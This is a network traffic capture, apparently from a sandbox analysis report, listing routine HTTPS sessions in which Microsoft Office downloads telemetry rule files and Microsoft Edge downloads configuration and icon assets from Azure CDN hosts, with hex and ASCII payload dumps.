2024-11-26 09:09:27 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 57 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomWPC)

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:28 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:28 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: c665a67d-901e-002a-1b91-3f7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090928Z-174f784596886s2bhC1EWR743w0000000v5g000000008p2a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:28 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:28 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:28 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 417b6c53-401e-0029-0d91-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090928Z-174f7845968v75bwhC1EWRuqen0000000g500000000052ek x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:29 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:28 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:28 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e9babc56-001e-0049-5291-3f5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090928Z-174f7845968px8v7hC1EWR08ng0000000vd00000000085sk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:29 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:28 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:28 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 106d127d-401e-008c-1a91-3f86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090928Z-174f7845968swgbqhC1EWRmnb40000000vag000000006g18 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:29 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:28 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:29 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: a99e6065-701e-006f-4d91-3fafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090929Z-174f78459685m244hC1EWRgp2c0000000v3g000000002nz3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:29 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49821	13.107.246.40	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:30 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 09:09:30 UTC	576	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:30 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: a7527e8d-d01e-0008-7b8d-3f7374000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T090930Z-174f7845968swgbqhC1EWRmnb40000000vf0000000000vvr Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:30 UTC	15808	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-26 09:09:31 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-11-26 09:09:31 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-11-26 09:09:31 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-11-26 09:09:31 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49822	13.107.246.40	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:30 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 09:09:30 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:30 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 4aa832c4-001e-0023-6091-3f07cc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T090930Z-174f7845968v75bwhC1EWRuqen0000000g80000000001dem Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 09:09:30 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49824	13.107.246.40	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:30 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 09:09:31 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:31 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: b45380e2-b01e-0013-6191-3f5de6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T090931Z-174f78459688l8rvhC1EWRtzr000000007q000000000bn36 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 09:09:31 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49825	13.107.246.40	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:30 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
